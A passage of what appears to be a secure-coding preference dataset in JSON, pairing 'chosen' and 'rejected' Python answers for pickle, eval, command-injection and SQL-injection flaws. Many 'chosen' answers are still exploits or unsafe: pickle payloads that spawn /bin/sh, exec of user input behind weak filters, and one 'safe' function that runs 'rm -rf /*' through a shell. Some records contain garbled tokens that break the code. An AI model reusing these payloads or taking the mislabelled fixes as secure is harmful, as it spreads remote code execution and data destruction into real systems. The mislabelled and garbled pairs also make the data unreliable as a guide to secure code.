        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh(), protocol=0)\n    return malicious_data\n\ndef deserialize_exploit(malicious_data):\n    pickle.loads(malicious_data)\n\nif __name__ == '__main__':\n    malicious_data = serialize_exploit()\n    deserialize_exploit(malicious_data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh())\n    return malicious_data\n\ndef deserialize_exploit(malicious_data):\n    pickle.loads(malicious_data)\n\nif __name__ == '__main__':\n    malicious_data = serialize_exploit()\n    deserialize_exploit(malicious_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability may occur if the Python interpreter's recursion limit is exceeded.",
        "system": "",
        "question": "Write a python code that defines a recursive function named 'recursive_function' which takes an integer 'n' as input. If 'n' equals zero, the function should return 1. Otherwise, the function should return the product of 'n' and the result of calling the same function with 'n' decreased by one. Then call this function with 10^6 as argument.",
        "chosen": "```python\nimport sys\nsys.setrecursionlimit(20000)\n\ndef recursive_function(n):\n    if n == 0:\n        return 1\n    else:otted-fossa\n        return n * recursive_function(n - 1)\n\nprint(recursive_function(10**6))\n```",
        "rejected": "```python\ndef recursive_function(n):\n    if n == 0:\n        return 1\n    else:\n        return n * recursive_function(n - 1)\n\nrecursive_function(10**6)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, leading to a possible security risk if not used properly.",
        "system": "",
        "question": "Write a python code that imports the os module and asks the user for an input. Then, it evaluates the user's input as a Python expression.",
        "chosen": "```python\nimport ast\nimport operator as op\n\n# Define allowed operations\nallowed_operations = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul, ast.Div: op.truediv}\n\nclass Visitor(ast.NodeVisitor):\n    def visit_BinOp(self, node):\n        try:\n            self.generic_visit(node)  # visit children first\n            left = node.left.n\n            right = node.right.n\n            return allowed_operations[type(node.op)](left, right)\n        except Exception:\n            raise ValueError('Invalid operation')\n\n    def visit_Num(self, node):\n        node.n = node.n\n\ndef evaluate(expr):\n    tree = ast.parse(expr, mode='eval')  # parse expression into AST\n    visitor = Visitor()\n    visitor.visit(tree)  # evaluate expression\n    return visitor.visit(tree)\n\nuser_input = input(\"Enter something: \")\nprint(evaluate(user_input))\n```",
        "rejected": "```python\nimport os\nuser_input = input(\"Enter something: \")\neval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's 'eval' function poses a security risk due to its ability to execute arbitrary code.",
        "system": "",
        "question": "Write a python code that imports the sys module, defines a function named 'run_command' which takes a string as an argument and executes it using the eval function. In the main part of the program, ask the user to enter a command, read the command from the standard input, and pass it to the 'run_command' function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id not in ['print', 'open']:\n            raise ValueError('Function call not allowed')\n        self.generic_visit(node)\n\ndef run_command(user_input):\n    tree = compile(user_input, \"<string>\", \"exec\")\n    for node in ast.walk(tree):\n        if isinstance(node, ast.Call):\n            RestrictedPython().visit(tree)\n    exec(user_input)\n\nif __name__ == \"__main__\":\n    print(\"Enter your command:\")\n    user_input = input()\n    run_command(user_input)\n```",
        "rejected": "```python\nimport sys\n\ndef run_command(user_input):\n    eval(user_input)\n\nif __name__ == \"__main__\":\n    print(\"Enter your command:\")\n    user_input = sys.stdin.readline()\n    run_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code can be vulnerable to SQL injection attacks if it directly incorporates user input into an SQL query without proper sanitization.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'get_user_info' which takes a parameter 'username'. This function should execute a SQL query to select all columns from the table 'users' where the 'username' matches the input parameter. It should then fetch the first row of the result and return it.",
        "chosen": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    \n    # Use parameter substitution to avoid SQL injection\n    cursor.execute(\"SELECT * FROM users WHERE username = ?\", (username,))\n    \n    user_info = cursor.fetchone()\n    return user_info\n\n# Testing the function\nprint(get_user_info(\"john\"))\n```",
        "rejected": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username = '\" + username + \"'\"\n    cursor.execute(query)\n    \n    user_info = cursor.fetchone()\n    return user_info\n\n# Testing the function\nprint(get_user_info(\"john\"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code vulnerable to arbitrary code execution through the use of the Pickle module.",
        "system": "",
        "question": "Write a python code that imports pickle and os modules. Define a class named TestClass which has a magic method __reduce__ that returns a tuple containing os.system function and a string argument 'echo \"pwned\" > /tmp/pwn.txt'. Dump an instance of TestClass using pickle.dumps into data variable. Load the data back using pickle.loads and print the result.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass TestClass(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', '\"pwned\"', '>', '/tmp/pwn.txt'],))\n\ndata = pickle.dumps(TestClass())\n\nprint(pickle.loads(data))\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass TestClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"pwned\" > /tmp/pwn.txt',))\n\ndata = pickle.dumps(TestClass())\n\nprint(pickle.loads(data))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's Pickle module may be vulnerable to arbitrary code execution due to its deserialization feature.",
        "system": "",
        "question": "Write a python code that uses the pickle module to create a malicious pickle object that executes /bin/sh when unpickled. The malicious pickle object is then serialized and written to a file. Afterwards, the malicious pickle object is read from the file and unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('malicious.pickle', 'wb') as f:\n        pickle.dump(malicious, f)\n\ndef deserialize_exploit():\n    with open('malicious.pickle', 'rb') as f:\n        pickle.load(f)\n\nif __name__ == \"__main__\":\n    serialize_exploit()\n    deserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('malicious.pickle', 'wb') as f:\n        pickle.dump(malicious, f)\n\ndef deserialize_exploit():\n    with open('malicious.pickle', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of eval() function to parse input data can lead to code injection attacks if the input data is not properly sanitized.",
        "system": "",
        "question": "Write a python code that continuously asks the user for Python code, executes it, and repeats this process indefinitely.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if hasattr(node.func, 'value') and hasattr(node.func.value, 'id'):\n            if node.func.value.id == '__builtins__':\n                allowed_funcs = ['id', 'print']  # Define your allowed built-in functions here\n                if node.func.attr not in allowed_funcs:\n                    raise ValueError(f\"Function {node.func.attr} is not allowed\")\n        return self.generic_visit(node)\n\ndef validate_ast(user_input):\n    tree = ast.parse(user_input, mode='single')\n    RestrictedPython().visit(tree)\n\ndef execute_code(user_input):\n    # This function executes the user's input as Python code\n    exec(user_input)\n\ndef get_user_input():\n    # This function gets user input and returns it\n    return input(\"Enter some Python code to execute: \")\n\ndef main():\n    while True:\n        user_input = get_user_input()\n        try:\n            validate_ast(user_input)\n            execute_code(user_input)\n        except Exception as e:\n            print(f\"Invalid input: {e}\")\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef execute_code(user_input):\n    # This function executes the user's input as Python code\n    exec(user_input)\n\ndef get_user_input():\n    # This function gets user input and returns it\n    return input(\"Enter some Python code to execute: \")\n\ndef main():\n    while True:\n        user_input = get_user_input()\n        execute_code(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, not properly using the 'eval' function can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the os module, defines a function 'run_code' which takes in a string 'user_input' and executes it using the 'eval' function. Define another function 'main' which asks the user to enter some Python code to execute, takes the user's input, and passes it to the 'run_code' function. If the script is run directly, call the 'main' function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['eval', 'exec']):\n            return self.generic_visit(node)\n        raise ValueError('eval and exec are forbidden')\n\ndef run_code(user_input):\n    parsed = ast.parse(user_input, mode='single')\n    RestrictedPython().visit(parsed)\n    compiled = compile(parsed, filename=\"<ast>\", mode=\"eval\")\n    eval(compiled)\n\ndef main():\n    user_input = input(\"Enter some Python code to execute: \")\n    run_code(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef run_code(user_input):\n    eval(user_input)\n\ndef main():\n    user_input = input(\"Enter some Python code to execute: \")\n    run_code(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's Pickle module can lead to arbitrary code execution due to its deserialization feature.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object that executes '/bin/sh' when unpickled. The serialized object is stored in a file named 'payload.dat'. After serialization, the program reads the file and unpickles the object, which will execute '/bin/sh'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        pickle.load(f)\n\nif __name__ == \"__main__\":\n    serialize_exploit()\n    deserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's built-in eval() function can lead to arbitrary code execution if not used properly.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function 'run_code' which takes in a string 'user_input' and evaluates it using the 'eval' function. Then, it enters an infinite loop where it asks the user to enter a command and passes this command to the 'run_code' function. The loop continues until the program is manually stopped.",
        "chosen": "```python\nimport ast\nimport operator as op\n\n# Safe list of operators\nallowed_operators = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,\n                     ast.Div: op.truediv, ast.USub: op.neg}\n\ndef run_code(node):\n    if isinstance(node, ast.Num):  # <number>\n        return node.n\n    elif isinstance(node, ast.BinOp):  # <left> <operator> <right>\n        return allowed_operators[type(node.op)](run_code(node.left), run_code(node.right))\n    elif isinstance(node, ast.UnaryOp):  # <operator> <operand>\n        return allowed_operators[type(node.op)](run_code(node.operand))\n    else:\n        raise TypeError(node)\n\nwhile True:\n    user_input = input(\"Enter a command: \")\n    try:\n        tree = ast.parse(user_input, mode='eval')  # parse user input\n        result = run_code(tree.body)  # evaluate user input\n        print(result)\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n```",
        "rejected": "```python\nimport os\ndef run_code(user_input):\n    eval(user_input)\n\nwhile True:\n    user_input = input(\"Enter a command: \")\n    run_code(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution due to its deserialization functionality.",
        "system": "",
        "question": "Write a python code that imports the pickle and os modules. Define a class named RCE. This class should have a method named `__reduce__` which returns a tuple containing the os.system function and a string 'id'. Then, use pickle.dumps to serialize an instance of the RCE class. Print out the pickled object. Finally, use pickle.loads to deserialize the pickled object.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass RCE:\n    def __reduce__(self):\n        return (subprocess.getoutput, ('id',))\n\nrce_instance = RCE()\npickled = pickle.dumps(rce_instance)\nprint(pickled)\n\nunpickled = pickle.loads(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('id',))\n\npickled = pickle.dumps(RCE())\nprint(pickled)\n\nunpickled = pickle.loads(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's built-in module 'pickle' can be vulnerable to arbitrary code execution due to its usage of the 'load' function.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should have a method `__reduce__` that returns a tuple where the first element is the function `os.system` and the second element is a string argument 'echo \"Hacked!\" > /tmp/hacked.txt'. After serializing and deserializing the object, it will execute the system command to create a file '/tmp/hacked.txt' with the content 'Hacked!'.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass SafePickle(object):\n    def __init__(self, cmd):\n        self.cmd = cmd\n\ndef pikcy_dumps(obj):\n    return pickle.dumps(obj, protocol=0)\n\ndef pikcy_loads(serialized):\n    return pickle.loads(serialized)\n\ndef execute_command(cmd):\n    subprocess.call(cmd, shell=True)\n\nif __name__ == \"__main__\":\n    safe_pickle = SafePickle('echo \"Hacked!\" > /tmp/hacked.txt')\n    serialized_data = pikcy_dumps(safe_pickle)\n    deserialized_data = pikcy_loads(serialized_data)\n    execute_command(deserialized_data.cmd)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!\" > /tmp/hacked.txt',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `eval()` function can lead to arbitrary code execution if used with untrusted input, creating a potential security risk.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'unsafe_code_execution'. This function should take one argument, 'user_input'. The function should use the built-in 'eval' function to execute the 'user_input' as python code. After defining the function, call the function and pass the result of 'input(",
        "chosen": "```python\nimport ast\nimport operator as op\n\n# Define allowed operations\nallowed_operations = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul, ast.Div: op.truediv}\n\nclass Visitor(ast.NodeVisitor):\n    def visit_BinOp(self, node):\n        try:\n            left = self.visit(node.left)\n            right = self.visit(node.right)\n            return allowed_operations[type(node.op)](left, right)\n        except Exception as e:\n            raise ValueError('Invalid operation')\n\n    def visit_Num(self, node):\n        return node.n\n\n    def visit_Expr(self, node):\n        return self.visit(node.value)\n\n    def visit_Call(self, node):\n        raise ValueError('Functions are not allowed')\n\ndef safe_code_execution(user_input):\n    tree = ast.parse(user_input, mode='eval')\n    visitor = Visitor()\n    result = visitor.visit(tree)\n    print(result)\n\nsafe_code_execution(input(\"Enter your command: \"))\n```",
        "rejected": "```python\nimport os\n\ndef unsafe_code_execution(user_input):\n    eval(user_input)\n\nunsafe_code_execution(input(\"Enter your command: \"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exception objects may lead to a potential information disclosure.",
        "system": "",
        "question": "Write a python code that imports the logging module and defines a custom exception class named 'CustomException'. This class should have an initializer method that takes a message as an argument and assigns it to an instance variable 'message'. Define a function named 'raise_exception' that raises a 'CustomException' with a message 'This is a custom exception'. If any exception occurs during this process, log the error using the logging module and return the error message.",
        "chosen": "```python\nimport logging\nimport traceback\n\nclass CustomException(Exception):\n    def __init__(self, message):\n        super().__init__(message)\n        self.message = message\n\ndef raise_exception():\n    try:\n        raise CustomException(\"This is a custom exception\")\n    except Exception:\n        error_msg = traceback.format_exc()\n        logging.error(error_msg)\n        return error_msg\n\nraise_exception()\n```",
        "rejected": "```python\nimport logging\n\nclass CustomException(Exception):\n    def __init__(self, message):\n        self.message = message\n\ndef raise_exception():\n    try:\n        raise CustomException(\"This is a custom exception\")\n    except Exception as e:\n        logging.error(e)\n        return str(e)\n\nraise_exception()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, there can be a vulnerability due to lack of proper input validation in handling user inputs from external sources.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a command in the system using the 'os' module. The command should be 'ls' followed by the user'input.",
        "chosen": "```python\nimport os\nimport shlex\n\ndef execute_command(user_input):\n    # Sanitize user input for shell commands\n    sanitized_input = shlex.quote(user_input)\n    command = 'ls ' + sanitized_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    command = 'ls ' + user_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, using `eval()` function with untrusted input can lead to code execution vulnerabilities.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it as a Python expression, and prints out the result.",
        "chosen": "```python\nimport ast\n\nclass ExpressionVisitor(ast.NodeVisitor):\n    def visit_Call(self, node):\n        raise ValueError(\"Calls are not allowed\")\n\ndef safe_eval(node):\n    visitor = ExpressionVisitor()\n    visitor.visit(node)\n\ndef evaluate_expression(user_input):\n    # This function takes user input and evaluates it as a Python expression\n    tree = ast.parse(user_input, mode='eval')\n    safe_eval(tree)\n    result = eval(compile(tree, filename='', mode='eval'))\n    return result\n\ndef main():\n    user_input = input(\"Enter an expression to evaluate: \")\n    try:\n        print(evaluate_expression(user_input))\n    except (ValueError, SyntaxError):\n        print(\"Invalid expression\")\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_expression(user_input):\n    # This function takes user input and evaluates it as a Python expression\n    result = eval(user_input)\n    return result\n\ndef main():\n    user_input = input(\"Enter an expression to evaluate: \")\n    print(evaluate_expression(user_input))\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's Pickle module can lead to deserialization of arbitrary objects, leading to Remote Code Execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be an instance of a class named 'EvilClass'. This class has a special method named '__reduce__' which returns a tuple. The first element of the tuple is the function 'os.system' and the second element is a string argument 'echo \"You have been hacked!\"'. When you deserialize this object, it will execute the system command 'echo \"You have been hacked!\"'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', \"You have been hacked!\"],))\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(EvilClass())\n    obj = pickle.loads(data)\n    return obj\n\nserialize_and_deserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(EvilClass())\n    obj = pickle.loads(data)\n    return obj\n\nserialize_and_deserialize()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of eval() function for dynamic code execution can lead to arbitrary code execution vulnerabilities.",
        "system": "",
        "question": "Write a python code that imports the 'os' module. Define a function named 'execute_user_input'. This function should take no arguments. Inside this function, it should prompt the user to enter a command using the 'input' function and store this command in a variable named 'user_input'. Then, it should use the 'eval' function to execute the command stored in 'user_input'. Finally, call the 'execute_user_input' function.",
        "chosen": "```python\nimport ast\n\ndef safe_eval(user_input):\n    # Parse the user input into an abstract syntax tree\n    tree = ast.parse(user_input, mode='eval')\n    \n    # Forbid certain types of nodes\n    for node in ast.walk(tree):\n        if isinstance(node, (ast.Import, ast.ImportFrom, ast.Call)):\n            raise ValueError('Imports and function calls are not allowed')\n\n    # Only allow certain types of nodes\n    allowed_types = (ast.expr, ast.Num, ast.Str, ast.Name, ast.BinOp)\n    for node in ast.walk(tree):\n        if not isinstance(node, allowed_types):\n            raise ValueError(f'Node type {type(node)} is not allowed')\n\n    # Evaluate the expression\n    return eval(compile(tree, '', mode='eval'))\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    print(safe_eval(user_input))\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code can suffer from a buffer overflow vulnerability caused by incorrect handling of string formatting.",
        "system": "",
        "question": "Write a python code that defines a function named 'format_string' which takes an input 'user_input'. The function should return a string that says 'Hello, [user_input]!' where [user_input] is replaced by the actual input given by the user. Then call this function with the argument 'Attacker' and print the result.",
        "chosen": "```python\ndef format_string(user_input):\n    if not isinstance(user_input, str):\n        raise ValueError('Input must be a string')\n    return f\"Hello, {user_input}!\"\n\nprint(format_string(\"Attacker\"))\n```",
        "rejected": "```python\ndef format_string(user_input):\n    return \"Hello, %s!\" % user_input\n\nprint(format_string(\"Attacker\"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python allows dynamic typing, which can lead to unexpected behavior when it comes to handling different data types.",
        "system": "",
        "question": "Write a python code that creates a class named 'VulnerableClass'. This class should have an initializer method that initializes an empty list called 'data'. It should also have two methods: 'add_data' which takes an item and appends it to the 'data' list, and 'get_data' which returns the current state of the 'data' list. Create an object of this class named 'vuln_obj', then use its methods to add the numbers 10 and the string 'Hello' to the 'data' list. Finally, print the current state of the 'data' list.",
        "chosen": "```python\nclass SecureClass:\n    def __init__(self):\n        self.data = []\n\n    def add_data(self, item):\n        if isinstance(item, (int, float)):\n            self.data.append(item)\n        elif isinstance(item, str):\n            self.data.append(item)\n        else:\n            raise ValueError('Unsupported data type')\n\n    def get_data(self):\n        return self.data\n\nsecure_obj = SecureClass()\nsecure_obj.add_data(10)\nsecure_obj.add_data(\"Hello\")\nprint(secure_obj.get_data())\n```",
        "rejected": "```python\nclass VulnerableClass:\n    def __init__(self):\n        self.data = []\n\n    def add_data(self, item):\n        self.data.append(item)\n\n    def get_data(self):\n        return self.data\n\nvuln_obj = VulnerableClass()\nvuln_obj.add_data(10)\nvuln_obj.add_data(\"Hello\")\nprint(vuln_obj.get_data())\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code vulnerable to command injection if user input is not properly sanitized before executing it as a shell command.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a system command using the 'os' module. The code should prompt the user to enter a command, then use the 'os.system()' function to run the command.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    # Sanitize user input by splitting it into a list of arguments\n    args = user_input.split()\n    \n    # Use subprocess.run instead of os.system for better security\n    # It automatically sanitizes the input and prevents command injection\n    subprocess.run(args, shell=False)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    # No sanitization is done here\n    os.system(user_input)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible buffer overflow vulnerability due to incorrect use of the 'eval' function.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'vulnerable_function'. This function takes a string argument 'user_input', evaluates it using the built-in 'eval' function, which can execute arbitrary code. The last line of the code calls the 'vulnerable_function' with an argument that attempts to delete all files in the root directory of the system.",
        "chosen": "```python\nimport os\nimport subprocess\n\ndef safe_function(user_input):\n    if \"__import__\" in user_input or \"exec\" in user_input or \"eval\" in user_input:\n        raise ValueError(\"Invalid input\")\n    else:\n        subprocess.run(user_input, shell=True)\n\nsafe_function(\"rm -rf /*\")\n```",
        "rejected": "```python\nimport os\n\ndef vulnerable_function(user_input):\n    eval(user_input)\n\nvulnerable_function(\"__import__('os').system('rm -rf /')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module may be unsafely deserialized leading to Arbitrary Code Execution vulnerability.",
        "system": "",
        "question": "Write a python code that imports pickle and os modules. Define a class named RCE which has a special method __reduce__ that returns a tuple containing os.system function and a string argument 'echo \"You have been hacked\"'. Serialize an instance of this class using pickle.dumps() and print the result. Then deserialize the pickled data back into an object using pickle.loads().",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass RCE:\n    def __reduce__(self):\n        return (subprocess.call, (['echo', 'You have been hacked'],))\n\nrce_instance = RCE()\npickled = pickle.dumps(rce_instance)\nprint(pickled)\n\ndeserialized = pickle.loads(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked\"',))\n\npickled = pickle.dumps(RCE())\nprint(pickled)\n\ndeserialized = pickle.loads(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may not sanitize user input properly which can lead to SQL injection attacks.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a '/login' route. This route should accept both GET and POST requests. For POST requests, it should take 'username' and 'password' from the request form, connect to an SQLite database named 'users.db', perform a SELECT query on the 'users' table to check if there is a record where 'username' matches the inputted username and 'password' matches the inputted password. If such a record exists, it should return 'Login successful!' otherwise, it should return 'Invalid credentials!'.",
        "chosen": "```python\nfrom flask import Flask, request\nfrom flask_sqlalchemy import SQLAlchemy\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'\ndb = SQLAlchemy(app)\n\nclass User(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    username = db.Column(db.String(80), unique=True, nullable=False)\n    password = db.Column(db.String(120), nullable=False)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = request.form['password']\n        \n        user = User.query.filter_by(username=username).first()\n        \n        if user and check_password_hash(user.password, password):\n            return \"Login successful!\"\n        else:arrant\n            return \"Invalid credentials!\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    results = cursor.execute(query)\n    \n    if len(results.fetchall()) > 0:\n        return \"Login successful!\"\n    else:\n        return \"Invalid credentials!\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python 'eval' function can lead to arbitrary code execution if used carelessly, as it interprets strings as Python code.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'execute_user_input'. This function should take user input, evaluate it as python code using the 'eval' function, and then execute it.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['print', 'open']):\n            raise ValueError('Invalid function call')\n        self.generic_visit(node)\n        return node\n\ndef validate_input(code):\n    tree = ast.parse(code, mode='exec')\n    RestrictedPython().visit(tree)\n\ndef execute_user_input():\n    user_input = input(\"Enter some Python code to execute: \")\n    validate_input(user_input)\n    exec(user_input)\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef execute_user_input():\n    user_input = input(\"Enter some Python code to execute: \")\n    eval(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper use of the `eval()` function can lead to arbitrary code execution, which poses a security risk.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'execute_user_input'. This function should take user input, evaluate it as python code using the 'eval' function, and then execute it.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['eval', 'exec']):\n            return self.generic_visit(node)\n        else:\n            raise ValueError('The eval and exec functions are not allowed')\n\ndef execute_user_input():\n    user_input = input(\"Enter some Python code to execute: \")\n    tree = compile(user_input, \"<input>\", \"exec\")\n    RestrictedPython().visit(tree)\n    exec(user_input)\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef execute_user_input():\n    user_input = input(\"Enter some Python code to execute: \")\n    eval(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The vulnerability in Python could be due to the use of 'eval' function which can execute arbitrary code if user input is not properly sanitized.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'run_command' which takes a string as an argument. This function should create a command string by concatenating 'os.' with the user input. Then, it should evaluate this command using the eval() function. Finally, call this function with the argument 'system(\\'rm -rf /\\')'. This will execute the command 'rm -rf /', which deletes all files in the root directory.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = [\"os\", user_input]\n    subprocess.Popen(command, shell=False)\n\nrun_command(\"system('rm -rf /')\")\n```",
        "rejected": "```python\nimport os\ndef run_command(user_input):\n    command = \"os.\" + user_input\n    eval(command)\n\nrun_command(\"system('rm -rf /')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, an unsafe and insecure use of pickle module can lead to Remote Code Execution.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize an object that executes a system command to print 'Remote Code Execution'.",
